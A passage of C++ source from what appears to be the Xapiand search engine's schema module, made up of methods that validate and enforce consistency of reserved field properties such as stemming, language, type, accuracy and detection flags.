Schema::process_stem_strategy(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_STEM_STRATEGY isn't heritable and can't change once fixed. L_CALL("Schema::process_stem_strategy({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { auto str_stem_strategy = prop_obj.str_view(); specification.stem_strategy = enum_type<StemStrategy>(str_stem_strategy); if (specification.stem_strategy == StemStrategy::INVALID) { THROW(ClientError, "{} can be in {} ({} not supported)", repr(prop_name), str_set_stem_strategy, repr(str_stem_strategy)); } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } void Schema::process_stem_language(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_STEM_LANGUAGE isn't heritable and can't change once fixed. L_CALL("Schema::process_stem_language({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { auto str_stem_language = prop_obj.str_view(); const auto& stem = _get_stem_language(str_stem_language); if (stem.second != "unknown") { specification.stem_language = stem.second.empty() ? stem.second : str_stem_language; specification.aux_stem_language = stem.second; } else { THROW(ClientError, "{}: {} is not supported", repr(prop_name), repr(str_stem_language)); } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } void Schema::process_type(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_TYPE isn't heritable and can't change once fixed. L_CALL("Schema::process_type({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { specification.set_types(prop_obj.str_view()); } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } if (!specification.endpoint.empty()) { if (specification.sep_types[SPC_FOREIGN_TYPE] != FieldType::foreign) { THROW(ClientError, "Data inconsistency, {} must be foreign", repr(prop_name)); } } } void Schema::process_accuracy(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_ACCURACY isn't heritable and can't change once fixed. L_CALL("Schema::process_accuracy({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { specification.doc_acc = std::make_unique<const MsgPack>(prop_obj); } else { THROW(ClientError, "Data inconsistency, {} must be array", repr(prop_name)); } } void Schema::process_acc_prefix(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_ACC_PREFIX isn't heritable and can't change once fixed. L_CALL("Schema::process_acc_prefix({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { specification.acc_prefix.clear(); specification.acc_prefix.reserve(prop_obj.size()); for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_string()) { specification.acc_prefix.push_back(prop_item_obj.str()); } else { THROW(ClientError, "Data inconsistency, {} must be an array of strings", repr(prop_name)); } } } else { THROW(ClientError, "Data inconsistency, {} must be an array of strings", repr(prop_name)); } } void Schema::process_bool_term(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_BOOL_TERM isn't heritable and can't change. L_CALL("Schema::process_bool_term({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.bool_term = prop_obj.boolean(); specification.flags.has_bool_term = true; } else { THROW(ClientError, "Data inconsistency, {} must be a boolean", repr(prop_name)); } } void Schema::process_partials(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_PARTIALS isn't heritable and can't change once fixed. L_CALL("Schema::process_partials({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.partials = prop_obj.boolean(); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } void Schema::process_error(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_PARTIALS isn't heritable and can't change once fixed. L_CALL("Schema::process_error({})", repr(prop_obj.to_string())); if (prop_obj.is_number()) { specification.error = prop_obj.f64(); } else { THROW(ClientError, "Data inconsistency, {} must be a double", repr(prop_name)); } } void Schema::process_position(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_POSITION is heritable and can change between documents. L_CALL("Schema::process_position({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { if (prop_obj.empty()) { THROW(ClientError, "Data inconsistency, {} must be a positive integer or a not-empty array of positive integers", repr(prop_name)); } specification.position.clear(); for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_number()) { specification.position.push_back(static_cast<unsigned>(prop_item_obj.u64())); } else { THROW(ClientError, "Data inconsistency, {} must be a positive integer or a not-empty array of positive integers", repr(prop_name)); } } } else if (prop_obj.is_number()) { specification.position.clear(); specification.position.push_back(static_cast<unsigned>(prop_obj.u64())); } else { THROW(ClientError, "Data inconsistency, {} must be a positive integer or a not-empty array of positive integers", repr(prop_name)); } } inline void Schema::process_data(std::string_view /*unused*/, [[maybe_unused]] const MsgPack& prop_obj) { // RESERVED_DATA is ignored by the schema. L_CALL("Schema::process_data({})", repr(prop_obj.to_string())); } inline void Schema::process_weight(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_WEIGHT property is heritable and can change between documents. L_CALL("Schema::process_weight({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { if (prop_obj.empty()) { THROW(ClientError, "Data inconsistency, {} must be a positive integer or a not-empty array of positive integers", repr(prop_name)); } specification.weight.clear(); for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_number()) { specification.weight.push_back(static_cast<unsigned>(prop_item_obj.u64())); } else { THROW(ClientError, "Data inconsistency, {} must be a positive integer or a not-empty array of positive integers", repr(prop_name)); } } } else if (prop_obj.is_number()) { specification.weight.clear(); specification.weight.push_back(static_cast<unsigned>(prop_obj.u64())); } else { THROW(ClientError, "Data inconsistency, {} must be a positive integer or a not-empty array of positive integers", repr(prop_name)); } } inline void Schema::process_spelling(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_SPELLING is heritable and can change between documents. L_CALL("Schema::process_spelling({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { if (prop_obj.empty()) { THROW(ClientError, "Data inconsistency, {} must be a boolean or a not-empty array of booleans", repr(prop_name)); } specification.spelling.clear(); for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_boolean()) { specification.spelling.push_back(prop_item_obj.boolean()); } else { THROW(ClientError, "Data inconsistency, {} must be a positive integer or a not-empty array of positive integers", repr(prop_name)); } } } else if (prop_obj.is_boolean()) { specification.spelling.clear(); specification.spelling.push_back(prop_obj.boolean()); } else { THROW(ClientError, "Data inconsistency, {} must be a boolean or a not-empty array of booleans", repr(prop_name)); } } inline void Schema::process_positions(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_POSITIONS is heritable and can change between documents. L_CALL("Schema::process_positions({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { if (prop_obj.empty()) { THROW(ClientError, "Data inconsistency, {} must be a boolean or a not-empty array of booleans", repr(prop_name)); } specification.positions.clear(); for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_boolean()) { specification.positions.push_back(prop_item_obj.boolean()); } else { THROW(ClientError, "Data inconsistency, {} must be a boolean or a not-empty array of booleans", repr(prop_name)); } } } else if (prop_obj.is_boolean()) { specification.positions.clear(); specification.positions.push_back(prop_obj.boolean()); } else { THROW(ClientError, "Data inconsistency, {} must be a boolean or a not-empty array of booleans", repr(prop_name)); } } inline void Schema::process_index(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_INDEX is heritable and can change. L_CALL("Schema::process_index({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { auto str_index = prop_obj.str_view(); specification.index = _get_index(str_index); if (specification.index == TypeIndex::INVALID) { THROW(ClientError, "{} not supported, {} must be one of {}", repr(str_index), repr(prop_name), str_set_index); } specification.flags.has_index = true; } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } inline void Schema::process_store(std::string_view prop_name, const MsgPack& prop_obj) { L_CALL("Schema::process_store({})", repr(prop_obj.to_string())); /* * RESERVED_STORE is heritable and can change, but once fixed in false * it cannot change in its offsprings. */ if (prop_obj.is_boolean()) { specification.flags.store = specification.flags.parent_store && prop_obj.boolean(); specification.flags.parent_store = specification.flags.store; } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::process_recurse(std::string_view prop_name, const MsgPack& prop_obj) { L_CALL("Schema::process_recurse({})", repr(prop_obj.to_string())); /* * RESERVED_RECURSE is heritable and can change, but once fixed in false * it does not process its children. */ if (prop_obj.is_boolean()) { specification.flags.recurse = prop_obj.boolean(); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::process_ignore(std::string_view prop_name, const MsgPack& prop_obj) { L_CALL("Schema::process_ignore({})", repr(prop_obj.to_string())); /* * RESERVED_IGNORE is heritable and can change, but once fixed in false * it does not process its children. */ if (prop_obj.is_array()) { specification.ignored.clear(); for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_string()) { auto ignored = prop_item_obj.str(); if (ignored == "*") { specification.flags.recurse = false; } specification.ignored.insert(ignored); } else { THROW(ClientError, "Data inconsistency, {} must be an array of strings", repr(prop_name)); } } } else if (prop_obj.is_string()) { auto ignored = prop_obj.str(); if (ignored == "*") { specification.flags.recurse = false; } specification.ignored.clear(); specification.ignored.insert(ignored); } else { THROW(ClientError, "Data inconsistency, {} must be an array of strings", repr(prop_name)); } } inline void Schema::process_partial_paths(std::string_view prop_name, const MsgPack& prop_obj) { L_CALL("Schema::process_partial_paths({})", repr(prop_obj.to_string())); /* * RESERVED_PARTIAL_PATHS is heritable and can change. */ if (prop_obj.is_boolean()) { specification.flags.partial_paths = prop_obj.boolean(); specification.flags.has_partial_paths = true; } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::process_index_uuid_field(std::string_view prop_name, const MsgPack& prop_obj) { L_CALL("Schema::process_index_uuid_field({})", repr(prop_obj.to_string())); /* * RESERVED_INDEX_UUID_FIELD is heritable and can change. */ if (prop_obj.is_string()) { auto str_index_uuid_field = prop_obj.str_view(); specification.index_uuid_field = _get_index_uuid_field(str_index_uuid_field); if (specification.index_uuid_field == UUIDFieldIndex::INVALID) { THROW(ClientError, "{} not supported, {} must be one of {} ({} not supported)", repr(str_index_uuid_field), repr(prop_name), str_set_index_uuid_field); } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } inline void Schema::process_value(std::string_view /*unused*/, const MsgPack& prop_obj) { // RESERVED_VALUE isn't heritable and is not saved in schema. L_CALL("Schema::process_value({})", repr(prop_obj.to_string())); if (specification.value || specification.value_rec) { THROW(ClientError, "Object already has a value"); } else { specification.value = std::make_unique<const MsgPack>(prop_obj); } } inline void Schema::process_script(std::string_view /*unused*/, [[maybe_unused]] const MsgPack& prop_obj) { // RESERVED_SCRIPT isn't heritable. L_CALL("Schema::process_script({})", repr(prop_obj.to_string())); #ifdef XAPIAND_CHAISCRIPT specification.script = std::make_unique<const MsgPack>(prop_obj); specification.flags.normalized_script = false; #else THROW(ClientError, "'{}' only is allowed when ChaiScript is actived", RESERVED_SCRIPT); #endif } inline void Schema::process_endpoint(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_ENDPOINT isn't heritable. L_CALL("Schema::process_endpoint({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { const auto _endpoint = prop_obj.str_view(); if (_endpoint.empty()) { THROW(ClientError, "Data inconsistency, {} must be a valid endpoint", repr(prop_name)); } std::string_view _path, _id; split_path_id(_endpoint, _path, _id); if (_path.empty() || _id.empty()) { THROW(ClientError, "Data inconsistency, {} must be a valid endpoint", repr(prop_name)); } if (specification.endpoint != _endpoint) { if ( specification.sep_types[SPC_FOREIGN_TYPE] != FieldType::foreign && ( specification.sep_types[SPC_OBJECT_TYPE] != FieldType::empty || specification.sep_types[SPC_ARRAY_TYPE] != FieldType::empty || specification.sep_types[SPC_CONCRETE_TYPE] != FieldType::empty ) ) { THROW(ClientError, "Data inconsistency, {} cannot be used in non-foreign fields", repr(prop_name)); } specification.flags.static_endpoint = false; specification.endpoint.assign(_endpoint); } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } inline void Schema::process_cast_object(std::string_view prop_name, const MsgPack& prop_obj) { // This property isn't heritable and is not saved in schema. L_CALL("Schema::process_cast_object({})", repr(prop_obj.to_string())); if (specification.value || specification.value_rec) { THROW(ClientError, "Object already has a value"); } else { specification.value_rec = std::make_unique<const MsgPack>(MsgPack({ { prop_name, prop_obj }, })); } } inline void Schema::consistency_slot(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_SLOT isn't heritable and can't change once fixed. L_CALL("Schema::consistency_slot({})", repr(prop_obj.to_string())); if (prop_obj.is_number()) { auto slot = static_cast<Xapian::valueno>(prop_obj.u64()); if (specification.slot != slot) { THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), specification.slot, slot, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } else { THROW(ClientError, "Data inconsistency, {} must be integer", repr(prop_name)); } } inline void Schema::consistency_ngram(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_LANGUAGE isn't heritable and can't change once fixed. L_CALL("Schema::consistency_ngram({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto ngram = prop_obj.boolean(); if (specification.flags.ngram != ngram) { THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), bool(specification.flags.ngram), ngram, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } inline void Schema::consistency_cjk_ngram(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_LANGUAGE isn't heritable and can't change once fixed. L_CALL("Schema::consistency_cjk_ngram({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto cjk_ngram = prop_obj.boolean(); if (specification.flags.cjk_ngram != cjk_ngram) { THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), bool(specification.flags.cjk_ngram), cjk_ngram, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } inline void Schema::consistency_cjk_words(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_LANGUAGE isn't heritable and can't change once fixed. L_CALL("Schema::consistency_cjk_words({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto cjk_words = prop_obj.boolean(); if (specification.flags.cjk_words != cjk_words) { THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), bool(specification.flags.cjk_words), cjk_words, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } inline void Schema::consistency_language(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_LANGUAGE isn't heritable and can't change once fixed. L_CALL("Schema::consistency_language({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { const auto str_language = prop_obj.str_view(); if (specification.language != str_language) { THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), specification.language, repr(str_language), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } inline void Schema::consistency_stop_strategy(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_STOP_STRATEGY isn't heritable and can't change once fixed. L_CALL("Schema::consistency_stop_strategy({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::text) { const auto _stop_strategy = strings::lower(prop_obj.str_view()); const auto stop_strategy = enum_name(specification.stop_strategy); if (stop_strategy != _stop_strategy) { THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), stop_strategy, _stop_strategy, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } else { THROW(ClientError, "{} only is allowed in text type fields", repr(prop_name)); } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } inline void Schema::consistency_stem_strategy(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_STEM_STRATEGY isn't heritable and can't change once fixed. L_CALL("Schema::consistency_stem_strategy({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::text) { const auto _stem_strategy = strings::lower(prop_obj.str_view()); const auto stem_strategy = enum_name(specification.stem_strategy); if (stem_strategy != _stem_strategy) { THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), repr(stem_strategy), repr(_stem_strategy), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } else { THROW(ClientError, "{} only is allowed in text type fields", repr(prop_name)); } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } inline void Schema::consistency_stem_language(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_STEM_LANGUAGE isn't heritable and can't change once fixed. L_CALL("Schema::consistency_stem_language({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::text) { const auto _stem_language = strings::lower(prop_obj.str_view()); if (specification.stem_language != _stem_language) { THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), repr(specification.stem_language), repr(_stem_language), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } else { THROW(ClientError, "{} only is allowed in text type fields", repr(prop_name)); } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } inline void Schema::consistency_type(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_TYPE isn't heritable and can't change once fixed. L_CALL("Schema::consistency_type({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { const auto _str_type = prop_obj.str_view(); auto init_pos = _str_type.rfind('/'); if (init_pos == std::string::npos) { init_pos = 0; } else { ++init_pos; } const auto str_type = enum_name(specification.sep_types[SPC_CONCRETE_TYPE]); if (_str_type.compare(init_pos, std::string::npos, str_type) != 0) { auto str_concretr_type = _str_type.substr(init_pos); if ((str_concretr_type != "term" || str_type != "keyword") && (str_concretr_type != "keyword" || str_type != "term")) { // FIXME: remove legacy term THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), repr(str_type), repr(str_concretr_type), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } if (!specification.endpoint.empty()) { if (specification.sep_types[SPC_FOREIGN_TYPE] != FieldType::foreign) { THROW(ClientError, "Data inconsistency, {} must be foreign", repr(prop_name)); } } } inline void Schema::consistency_accuracy(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_ACCURACY isn't heritable and can't change once fixed. L_CALL("Schema::consistency_accuracy({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { std::set<uint64_t> set_acc; switch (specification.sep_types[SPC_CONCRETE_TYPE]) { case FieldType::geo: { if (prop_obj.is_array()) { for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_number()) { set_acc.insert(prop_item_obj.u64()); } else { THROW(ClientError, "Data inconsistency, level value in '{}': '{}' must be a positive number between 0 and {}", RESERVED_ACCURACY, GEO_STR, HTM_MAX_LEVEL); } } } else { THROW(ClientError, "Data inconsistency, level value in '{}': '{}' must be a positive number between 0 and {}", RESERVED_ACCURACY, GEO_STR, HTM_MAX_LEVEL); } if (!std::equal(specification.accuracy.begin(), specification.accuracy.end(), set_acc.begin(), set_acc.end())) { std::string str_accuracy, _str_accuracy; for (const auto& acc : set_acc) { str_accuracy.append(strings::format("{}", acc)).push_back(' '); } for (const auto& acc : specification.accuracy) { _str_accuracy.append(strings::format("{}", acc)).push_back(' '); } THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), repr(str_accuracy), repr(_str_accuracy), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } return; } case FieldType::date: case FieldType::datetime: { if (prop_obj.is_array()) { for (const auto& prop_item_obj : prop_obj) { uint64_t accuracy; if (prop_item_obj.is_string()) { auto accuracy_date = _get_accuracy_datetime(prop_item_obj.str_view()); if (accuracy_date != UnitTime::INVALID) { accuracy = toUType(accuracy_date); } else { THROW(ClientError, "Data inconsistency, '{}': '{}' must be a subset of {} ({} not supported)", RESERVED_ACCURACY, DATE_STR, repr(str_set_acc_date), repr(prop_item_obj.str_view())); } } else if (prop_item_obj.is_number()) { accuracy = prop_item_obj.u64(); if (!validate_acc_date(static_cast<UnitTime>(accuracy))) { THROW(ClientError, "Data inconsistency, '{}' in '{}' must be a subset of {}", RESERVED_ACCURACY, DATE_STR, repr(str_set_acc_date)); } } else { THROW(ClientError, "Data inconsistency, '{}' in '{}' must be a subset of {}", RESERVED_ACCURACY, DATE_STR, repr(str_set_acc_date)); } set_acc.insert(accuracy); } } else { THROW(ClientError, "Data inconsistency, '{}' in '{}' must be a subset of {}", RESERVED_ACCURACY, DATE_STR, repr(str_set_acc_date)); } if (!std::equal(specification.accuracy.begin(), specification.accuracy.end(), set_acc.begin(), set_acc.end())) { std::string str_accuracy, _str_accuracy; for (const auto& acc : set_acc) { str_accuracy.append(_get_str_acc_date(static_cast<UnitTime>(acc))).push_back(' '); } for (const auto& acc : specification.accuracy) { _str_accuracy.append(_get_str_acc_date(static_cast<UnitTime>(acc))).push_back(' '); } THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), repr(str_accuracy), repr(_str_accuracy), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } return; } case FieldType::time: case FieldType::timedelta: { if (prop_obj.is_array()) { for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_string()) { auto accuracy_time = _get_accuracy_time(prop_item_obj.str_view()); if (accuracy_time != UnitTime::INVALID) { set_acc.insert(toUType(accuracy_time)); } else { THROW(ClientError, "Data inconsistency, '{}': '{}' must be a subset of {} ({} not supported)", RESERVED_ACCURACY, DATE_STR, repr(str_set_acc_date), repr(prop_item_obj.str_view())); } } else { THROW(ClientError, "Data inconsistency, '{}': '{}' must be a subset of {} ({} not supported)", RESERVED_ACCURACY, enum_name(specification.sep_types[SPC_CONCRETE_TYPE]), repr(str_set_acc_time), repr(prop_item_obj.str_view())); } } } else { THROW(ClientError, "Data inconsistency, '{}' in '{}' must be a subset of {}", RESERVED_ACCURACY, enum_name(specification.sep_types[SPC_CONCRETE_TYPE]), repr(str_set_acc_time)); } if (!std::equal(specification.accuracy.begin(), specification.accuracy.end(), set_acc.begin(), set_acc.end())) { std::string str_accuracy, _str_accuracy; for (const auto& acc : set_acc) { str_accuracy.append(_get_str_acc_date(static_cast<UnitTime>(acc))).push_back(' '); } for (const auto& acc : specification.accuracy) { _str_accuracy.append(_get_str_acc_date(static_cast<UnitTime>(acc))).push_back(' '); } THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), repr(str_accuracy), repr(_str_accuracy), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } return; } case FieldType::integer: case FieldType::positive: case FieldType::floating: { if (prop_obj.is_array()) { for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_number()) { set_acc.insert(prop_item_obj.u64()); } else { THROW(ClientError, "Data inconsistency, {} in {} must be an array of positive numbers in {}", RESERVED_ACCURACY, enum_name(specification.sep_types[SPC_CONCRETE_TYPE]), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } } else { THROW(ClientError, "Data inconsistency, {} in {} must be an array of positive numbers in {}", RESERVED_ACCURACY, enum_name(specification.sep_types[SPC_CONCRETE_TYPE]), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } if (!std::equal(specification.accuracy.begin(), specification.accuracy.end(), set_acc.begin(), set_acc.end())) { std::string str_accuracy, _str_accuracy; for (const auto& acc : set_acc) { str_accuracy.append(strings::format("{}", acc)).push_back(' '); } for (const auto& acc : specification.accuracy) { _str_accuracy.append(strings::format("{}", acc)).push_back(' '); } THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), repr(str_accuracy), repr(_str_accuracy), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } return; } default: THROW(ClientError, "{} is not allowed in {} type fields", repr(prop_name), enum_name(specification.sep_types[SPC_CONCRETE_TYPE])); } } else { THROW(ClientError, "Data inconsistency, {} must be array", repr(prop_name)); } } inline void Schema::consistency_bool_term(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_BOOL_TERM isn't heritable and can't change. L_CALL("Schema::consistency_bool_term({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::keyword) { const auto _bool_term = prop_obj.boolean(); if (specification.flags.bool_term != _bool_term) { THROW(ClientError, "It is not allowed to change {} [{} -> {}] in {}", repr(prop_name), bool(specification.flags.bool_term), _bool_term, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } else { THROW(ClientError, "{} only is allowed in keyword type fields", repr(prop_name)); } } else { THROW(ClientError, "Data inconsistency, {} must be a boolean", repr(prop_name)); } } inline void Schema::consistency_partials(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_PARTIALS isn't heritable and can't change once fixed. L_CALL("Schema::consistency_partials({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::geo) { const auto _partials = prop_obj.boolean(); if (specification.flags.partials != _partials) { THROW(ClientError, "It is not allowed to change {} [{} -> {}]", repr(prop_name), bool(specification.flags.partials), _partials); } } else { THROW(ClientError, "{} only is allowed in geospatial type fields", repr(prop_name)); } } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::consistency_error(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_PARTIALS isn't heritable and can't change once fixed. L_CALL("Schema::consistency_error({})", repr(prop_obj.to_string())); if (prop_obj.is_number()) { if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::geo) { const auto _error = prop_obj.f64(); if (specification.error != _error) { THROW(ClientError, "It is not allowed to change {} [{:.2} -> {:.2}]", repr(prop_name), specification.error, _error); } } else { THROW(ClientError, "{} only is allowed in geospatial type fields", repr(prop_name)); } } else { THROW(ClientError, "Data inconsistency, {} must be a double", repr(prop_name)); } } inline void Schema::consistency_dynamic(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_DYNAMIC is heritable but can't change. L_CALL("Schema::consistency_dynamic({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto _dynamic = prop_obj.boolean(); if (specification.flags.dynamic != _dynamic) { THROW(ClientError, "It is not allowed to change {} [{} -> {}]", repr(prop_name), bool(specification.flags.dynamic), _dynamic); } } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::consistency_strict(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_STRICT is heritable but can't change. L_CALL("Schema::consistency_strict({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto _strict = prop_obj.boolean(); if (specification.flags.strict != _strict) { THROW(ClientError, "It is not allowed to change {} [{} -> {}]", repr(prop_name), bool(specification.flags.strict), _strict); } } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::consistency_date_detection(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_DATE_DETECTION is heritable and can't change. L_CALL("Schema::consistency_date_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto _date_detection = prop_obj.boolean(); if (specification.flags.date_detection != _date_detection) { THROW(ClientError, "It is not allowed to change {} [{} -> {}]", repr(prop_name), bool(specification.flags.date_detection), _date_detection); } } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::consistency_datetime_detection(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_DATETIME_DETECTION is heritable and can't change. L_CALL("Schema::consistency_datetime_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto _datetime_detection = prop_obj.boolean(); if (specification.flags.datetime_detection != _datetime_detection) { THROW(ClientError, "It is not allowed to change {} [{} -> {}]", repr(prop_name), bool(specification.flags.datetime_detection), _datetime_detection); } } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::consistency_time_detection(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_TIME_DETECTION is heritable and can't change. L_CALL("Schema::consistency_time_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto _time_detection = prop_obj.boolean(); if (specification.flags.time_detection != _time_detection) { THROW(ClientError, "It is not allowed to change {} [{} -> {}]", repr(prop_name), bool(specification.flags.time_detection), _time_detection); } } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::consistency_timedelta_detection(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_TIMEDELTA_DETECTION is heritable and can't change. L_CALL("Schema::consistency_timedelta_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto _timedelta_detection = prop_obj.boolean(); if (specification.flags.timedelta_detection != _timedelta_detection) { THROW(ClientError, "It is not allowed to change {} [{} -> {}]", repr(prop_name), bool(specification.flags.timedelta_detection), _timedelta_detection); } } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::consistency_numeric_detection(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_NUMERIC_DETECTION is heritable and can't change. L_CALL("Schema::consistency_numeric_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto _numeric_detection = prop_obj.boolean(); if (specification.flags.numeric_detection != _numeric_detection) { THROW(ClientError, "It is not allowed to change {} [{} -> {}]", repr(prop_name), 